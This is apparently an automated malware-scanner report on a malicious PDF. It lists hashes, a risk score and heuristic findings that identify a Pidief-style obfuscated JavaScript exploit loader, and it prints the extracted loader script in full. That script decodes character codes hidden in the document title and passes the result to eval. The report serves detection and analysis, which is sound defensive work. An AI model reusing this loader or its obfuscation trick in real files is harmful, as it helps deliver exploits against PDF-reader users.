Malicious PDF — malware analysis report

Static analysis result for SHA-256 e4d34f96f45c3bd4…

MALICIOUS

PDF

44.6 KB First seen: 2026-05-08
MD5: 6f3c87fe5ca75d2bba093c48761463a1 SHA-1: 71999bc16ffede18869e8962e6a4ba897f7e85e9 SHA-256: e4d34f96f45c3bd443e357093e01e72929e66ca734decc848e264d4cd2d5e43a
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF7C 482 bytes
SHA-256: 1cb1622bfa0ae4dc54e9969c22640e6de5feb05d469d06b4aac0adeb8040c5ef
Preview script
First 1,000 lines of the extracted script
wfaze='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
rxoly=e('ti'+'tle');
s=rxoly.substr(t.length + 8,3)+'str';
q=rxoly[s](1,(1,9));
nhzl=e('S'+'tring.fro'+q);
q=rxoly[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	pjhic = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	wfaze += nhzl(pjhic);
}
e(wfaze);

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